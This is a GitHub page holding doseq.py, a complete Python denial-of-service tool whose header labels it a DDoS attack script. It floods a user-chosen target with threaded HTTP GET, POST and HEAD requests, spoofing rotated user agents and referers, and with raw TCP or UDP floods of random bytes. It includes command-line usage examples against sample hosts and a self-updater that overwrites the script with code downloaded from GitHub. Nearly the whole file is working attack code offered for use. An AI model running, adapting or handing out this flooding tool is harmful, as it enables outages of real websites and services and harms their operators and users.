forked from Sigmanor/Doseq
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdoseq.py
443 lines (414 loc) · 18.3 KB
/
doseq.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
#!/usr/bin/python3
# ==============INFO==============#
# SCRIPT: Doseq
# JOB: Distributed Denial Of Service Attack(DDoS)!
# CodedBy: Oseid Aldary
# ================================#
import sys, socket, os, time, random, threading, requests, signal, optparse, re
from urllib.parse import urlparse
import http.client as http
from core.uragents import *
# COLORS ####################
wi = "\033[1;37m" # >>White#
rd = "\033[1;31m" # >Red #
gr = "\033[1;32m" # >Green #
yl = "\033[1;33m" # >Yellow#
#############################
version_path = os.path.join('core', 'version.txt')
attacks = ["get", "post", "head", "tcp", "udp"]
os.system("cls || clear")
def sock_flood():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) if attack == "udp" else socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
while True:
try:
if attack == "tcp":
s.send(random._urandom(random.randint(1, 120)))
else:
s.send(random._urandom(65)*1000)
if isKilled():
break
if delay:
time.sleep(delay)
except (socket.error, BrokenPipeError, Exception) as err:
if not isKilled():
if debug:
print("[" + yl + "!" + wi + "] " + yl + f"{attack.upper()}-ATTACK:" + wi + " Unable To Connect to Target [" + rd + target + wi + "]" + yl + " Maybe " + rd + "Down\n" + wi, end='\r')
else:
break
if hasattr(err, 'errno'):
if err.errno == 24:
break
s.close()
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) if attack == "udp" else socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if attack == "tcp":
s.connect((target, port))
if isKilled():
break
def get_attack():
while True:
try:
get_packet = f"GET / HTTP/1.1\r\nHost: {target}\r\nUser-Agent: {random.choice(headers_useragents)}\r\nReferer: {random.choice(headers_referers)}\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 115\r\nConnection: keep-alive\r\n\r\n".encode('ascii')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target, port))
s.sendto(get_packet, (target, port))
s.shutdown(1)
if isKilled():
break
if delay:
time.sleep(delay)
except (socket.error, BrokenPipeError, Exception, BaseException) as err:
if not isKilled():
if debug:
print("[" + yl + "!" + wi + "] " + yl + "GET-ATTACK:" + wi + " Unable To Connect to Target [" + rd + target + wi + "]" + yl + " Maybe " + rd + "Down\n" + wi, end='\r')
else:
break
if hasattr(err, 'errno'):
if err.errno == 24:
break
continue
if isKilled():
break
def post_attack():
while True:
try:
post_packet = f'POST / HTTP/1.1\r\nHost: {target}\r\nUser-Agent: {random.choice(headers_useragents)}\r\nConnection: keep-alive\r\nKeep-Alive: 900\r\nContent-Length: 10000\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n'.encode("ascii")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target, port))
s.send(post_packet)
s.send(random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890").encode('ascii'))
s.close()
if isKilled():
break
if delay:
time.sleep(delay)
except (socket.error, BrokenPipeError, Exception, BaseException) as err:
if not isKilled():
if debug:
print("[" + yl + "!" + wi + "] " + yl + "POST-ATTACK:" + wi + " Unable To Connect to Target [" + rd + target + wi + "]" + yl + " Maybe " + rd + "Down\n" + wi, end='\r')
else:
break
if hasattr(err, 'errno'):
if err.errno == 24:
break
continue
if isKilled():
break
def head_attack():
while True:
try:
head_packet = f"HEAD / HTTP/1.1\r\nHost: {target}\r\nUser-Agent: {random.choice(headers_useragents)}\r\nAccept: text/html\r\n\r\n".encode("ascii")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target, port))
s.send(head_packet)
s.close()
if isKilled():
break
if delay:
time.sleep(delay)
except (socket.error, BrokenPipeError, Exception, BaseException) as err:
if not isKilled():
if debug:
print("[" + yl + "!" + wi + "] " + yl + "HEAD-ATTACK:" + wi + " Unable To Connect to Target [" + rd + target + wi + "]" + yl + " Maybe " + rd + "Down\n" + wi, end='\r')
else:
break
if hasattr(err, 'errno'):
if err.errno == 24:
break
continue
if isKilled():
break
def request_get_attack():
while True:
try:
req = requests.get(url, headers={'User-Agent': random.choice(headers_useragents), 'Content-Type': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Referer": random.choice(headers_referers)}, timeout=5)
if isKilled():
break
if delay:
time.sleep(delay)
except (Exception, BaseException) as err:
if not isKilled():
if debug:
print("[" + yl + "!" + wi + "] " + yl + "REQUEST-GET-ATTACK:" + wi + " Unable To Connect to Target [" + rd + target + wi + "]" + yl + " Maybe " + rd + "Down\n" + wi, end='\r')
else:
break
if hasattr(err, 'errno'):
if err.errno == 24:
break
continue
if isKilled():
break
def request_post_attack():
while True:
try:
req = requests.post(url, headers={'User-Agent': random.choice(headers_useragents), "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/plain", "Referer": random.choice(headers_referers)}, data={'test': 'test'}, timeout=5)
if isKilled():
break
if delay:
time.sleep(delay)
except (Exception, BaseException) as err:
if not isKilled():
if debug:
print("[" + yl + "!" + wi + "] " + yl + "REQUEST-POST-ATTACK:" + wi + " Unable To Connect to Target [" + rd + target + wi + "]" + yl + " Maybe " + rd + "Down\n" + wi, end='\r')
else:
break
if hasattr(err, 'errno'):
if err.errno == 24:
break
continue
if isKilled():
break
def request_head_attack():
while True:
try:
req = requests.head(url, headers={'User-Agent': random.choice(headers_useragents), "Accept": 'text/html'}, timeout=5)
if isKilled():
break
if delay:
time.sleep(delay)
except (Exception, BaseException) as err:
if not isKilled():
if debug:
print("[" + yl + "!" + wi + "] " + yl + "REQUEST-HEAD-ATTACK:" + wi + " Unable To Connect to Target [" + rd + target + wi + "]" + yl + " Maybe " + rd + "Down\n" + wi, end='\r')
else:
break
if hasattr(err, 'errno'):
if err.errno == 24:
break
continue
if isKilled():
break
def cnet(server='www.google.com', port=80) -> bool:
try:
c = socket.create_connection((socket.gethostbyname(server), port), 2)
c.close()
return True
except socket.error:
pass
return False
def quit(sig, fream):
print(rd + "\n[" + yl + "!" + rd + "]" + yl + " User requested shutdown. " + rd + "..." + wi)
time.sleep(1)
if started:
print(rd + " [" + yl + "~" + rd + "]" + yl + " Aborting " + wi + f"{threads}" + yl + " Threads" + rd + "..." + wi)
kill()
print(wi + "[" + gr + "*" + wi + "] Thanks For Using Doseq Script :)")
print("[" + gr + "*" + wi + "] I Hope You Used It With Permission" + yl + "!?" + wi)
sys.exit(0)
def update_doseq():
if not cnet("raw.githubusercontent.com", 80):
print(rd + "\n[ " + yl + "!" + rd + "]" + yl + f" Unable To Check For Updates {'Please Check Your Internet Connection' if not cnet() else ''} " + rd + "!!!" + wi)
sys.exit(1)
with open(version_path, 'r') as version:
current_version = version.read().strip()
print(wi + "[" + gr + "I" + wi + "] Current Version: [" + yl + current_version + wi + "]")
print(wi + " [" + yl + "~" + wi + "]" + yl + " Check For Updates" + wi + "...")
con = http.HTTPSConnection("raw.githubusercontent.com")
con.request('GET', "/Oseid/Doseq/main/core/version.txt")
resp = con.getresponse()
if resp.status != 200:
print(rd + "\n[" + yl + "!" + rd + "]" + yl + " Unable To Update Error Code: " + str(resp.statuse) + rd + " !!!" + wi)
sys.exit(1)
repo_version = resp.read().strip().decode()
if repo_version == current_version:
print(wi + " [" + gr + "*" + wi + "] This Script Is Up To Date :)")
sys.exit(0)
print(wi + " [" + gr + "+" + wi + "] An update has been found :::" + gr + " Updating To Version:" + wi + " [" + yl + repo_version + wi + "]...")
con.request('GET', "/Oseid/Doseq/main/doseq.py")
new_code = con.getresponse().read().strip().decode()
with open(__file__, 'w') as doseq_script:
doseq_script.write(new_code)
with open(version_path, 'w') as current_version:
current_version.write(repo_version)
print(wi + " [" + gr + "*" + wi + "]" + gr + " Updated" + wi + " Successfully :)")
banner = """\033[1;31m
.-" "-.
/ \\
| \033[1;33m ${JOKER11}\033[1;31m |
|, .-. .-. ,|
| )(__/ \__)( |
|/ /\ \|
(@_ (_ ^^ _)
_ ) \_______\__|IIIIII|__/__________________________
(_)@8@8{}<________|-\IIIIII/-|_\033[1;32mA\033[1;31m_\033[1;32mN\033[1;31m_\033[1;32mO\033[1;31m_\033[1;32mN\033[1;31m_\033[1;32mY\033[1;31m_\033[1;32mM\033[1;31m_\033[1;32mO\033[1;31m_\033[1;32mU\033[1;31m_\033[1;32mS\033[1;31m_\033[1;32mA\033[1;31m_\033[1;32mR\033[1;31m_\033[1;32mA\033[1;31m_\033[1;32mB\033[1;31m_>
)_/ \ /
(@ `--------` \033[1;37mDD0$Eq\033[1;31m!\033[1;37m
[---] by:>\033[1;32m Oseid Aldary\033[1;37m [---]\033[1;32m
=-------=-=-=-=-=-=-=-=-=-------=
"""
started = False
signal.signal(signal.SIGINT, quit)
signal.signal(signal.SIGTERM, quit)
print(banner)
parse = optparse.OptionParser(usage='''
Usage: python3 ./doseq.py [OPTIONS...]
-------------
OPTIONS:
|
|--------
| -s/--server <target_(IP,domain,url)> ::> Specify target ip,domain or Url (Required)
|--------
| -p/--port <target_port> ::> Specify target port number Default(80) (Optional)
|--------
| -t/--threads <threads_number> ::> Specify number of threads Default(200) (Optional)
|--------
| -a/--attack <attack_type_(GET,POST,HEAD,TCP,UDP)> ::> Specify attack type to be used Default(random) (Optional)
|--------
| -d/--delay <delay time in seconds> ::> Specify delay time inside threads Default(0s) (Optional)
|--------
| -S/--sleep <sleep time in seconds> ::> Specify sleep time between started threads Default(0s) (Optional)
|--------
| -D/--debug ::> Show more output Default(disabled) (Optional)
|--------
| -u/--update ::> Update Doseq script to latest version
-------------
Examples:
|
|--------
| python3 doseq.py -s 192.168.1.1
|--------
| python3 doseq.py -s mydomain.com -p 443
|--------
| python3 doseq.py -s 192.168.0.22 -p 22 -t 500 -a tcp -d 0.30 -S 0.60
''', add_help_option=False, version='Doseq version 1.2')
parse.add_option('-s', '--server', '--target', type=str, dest='target')
parse.add_option('-p', '--port', type=str, dest='port')
parse.add_option('-t', '--threads', type=str, dest='threads')
parse.add_option('-a', '--attack', type=str, dest='attack')
parse.add_option('-d', '--delay', type=str, dest='delay')
parse.add_option('-S', '--sleep', type=str, dest='sleep')
parse.add_option('-D', '--debug', action='store_true', dest='debug', default=False)
parse.add_option('-u', '--update', action='store_true', dest='update', default=False)
(options, args) = parse.parse_args()
target = options.target
port = options.port
threads = options.threads
attack = options.attack
delay = options.delay
sleep = options.sleep
update = options.update
debug = options.debug
opts = [target, port, threads, attack, delay, sleep, update, debug]
if target:
if not port:
port = 80
else:
if not port.isdigit() or not 0 <= int(port) <= 65535:
print(rd + "[" + yl + "!" + rd + "]" + yl + " Error: Invalid Port Number Selected" + rd + " !!!")
sys.exit(1)
port = int(port)
if not threads:
threads = 200
else:
if not threads.isdigit() or int(threads) <= 0:
print(rd + "[" + yl + "!" + rd + "]" + yl + " Error: Invalid Threads Number Selected" + rd + " !!!" + wi)
sys.exit(1)
threads = int(threads)
if not attack:
attack = random.choice(attacks)
else:
attack = attack.lower()
if attack not in attacks:
print(rd + "[" + yl + "!" + rd + "]" + yl + " Error: Invalid Attack Type Selected" + rd + " !!!" + wi)
sys.exit(1)
if not delay:
delay = 0
else:
if not re.match(r'\d+(\.\d*)?|\.\d+', delay) or delay in ('0', '0.0'):
print(rd + "[" + yl + "!" + rd + "]" + yl + " Error: Invalid Delay Number Selected" + rd + " !!!" + wi)
sys.exit(1)
delay = float(delay) if '.' in delay else int(delay)
if sleep:
if not re.match(r'\d+(\.\d*)?|\.\d+', sleep) or sleep in ('0', '0.0'):
print(rd + "[" + yl + "!" + rd + "]" + yl + " Error: Invalid Sleep Number Selected" + rd + " !!!" + wi)
sys.exit(1)
sleep = float(sleep) if '.' in sleep else int(sleep)
elif update:
update_doseq()
sys.exit(0)
else:
if any(opt for opt in opts):
print(rd + "[" + yl + "!" + rd + "]" + yl + " Error: Please specify the target because it is required" + rd + " !!!" + wi)
sys.exit(1)
print(parse.usage)
sys.exit(0)
if target.startswith(("https://", "http://")):
if target.count("/") == 2:
target = target + "/"
url = target
else:
url = "http://" + target + "/"
target = urlparse(url).netloc
print(wi + "[" + yl + "~" + wi + f"] Check The Connection To The Target " + gr + f"{target}" + wi + ":" + rd + f"{port}" + wi + " [...]", end='\r')
time.sleep(2)
if not cnet(target, port):
print("[" + rd + "-" + wi + "] Check The Connection To The Target " + gr + f"{target}" + wi + ":" + rd + f"{port}" + wi + " [" + rd + "Fail" + wi + "]\n", end='\r')
print(rd + " [" + yl + "!" + rd + "]" + yl + " Error: Unable to Connect to Target On " + rd + f"{target}" + yl + ":" + rd + f"{port}" + wi + " ::: " + yl + f" {'Please Check Your Internet Connection' if not cnet() else 'Please Check Your Target and port'} " + rd + "!!!\n" + wi)
sys.exit(1)
print("[" + gr + "+" + wi + "]" + wi + f" Check The Connection To The Target " + gr + f"{target}" + wi + ":" + rd + f"{port}" + wi + " [" + gr + "Connected" + wi + "]\n", end='\r')
print(wi + "[" + yl + "~" + wi + "] Starting " + gr + f"{threads}" + wi + " Threads [...]", end='\r')
THREADS = list()
event = threading.Event()
kill = lambda: event.set()
isKilled = lambda: event.isSet()
lock = threading.Lock()
time.sleep(1.5)
print("[" + gr + "+" + wi + "] Starting " + gr + f"{threads}" + wi + " Threads [" + gr + "DONE" + wi + "]\n", end='\r')
time.sleep(1.5)
os.system("cls || clear")
print("\n" + banner)
print(wi + "[" + gr + "*" + wi + "]" + yl + "-=-=-=-=-=-=-= " + gr + "Attack Has Been Start On (" + yl + f"{target}:{port}" + gr + ")" + yl + " -=-=-=-=-=-=-=" + wi + "[" + gr + "*" + wi + "]")
print("[" + yl + "I" + wi + "] Infinity [ " + yl + attack.upper() + wi + " ] requests started On Target...")
print("[" + yl + "I" + wi + "] Press " + gr + "' Ctrl+C ' " + wi + "To Stop The Attack")
workers = round(threads / 2) if attack not in ('tcp', 'udp') else threads
started = True
for _ in range(workers):
if attack == 'get':
t1 = threading.Thread(target=get_attack)
t1.daemon = True
t1.start()
THREADS.append(t1)
t2 = threading.Thread(target=request_get_attack)
t2.daemon = True
t2.start()
THREADS.append(t2)
elif attack == 'post':
t3 = threading.Thread(target=post_attack)
t3.daemon = True
t3.start()
THREADS.append(t3)
t4 = threading.Thread(target=request_post_attack)
t4.daemon = True
t4.start()
THREADS.append(t4)
elif attack == 'head':
t5 = threading.Thread(target=head_attack)
t5.daemon = True
t5.start()
THREADS.append(t5)
t6 = threading.Thread(target=request_head_attack)
t6.daemon = True
t6.start()
THREADS.append(t6)
else:
t7 = threading.Thread(target=sock_flood)
t7.daemon = True
t7.start()
THREADS.append(t7)
if isKilled():
break
if sleep:
time.sleep(sleep)
for t in THREADS:
t.join()
##############################################################
##################### #########################
##################### END OF TOOL #########################
##################### #########################
##############################################################
# This Tool Coded By Oseid Aldary
# Have a nice day :)
# GoodBye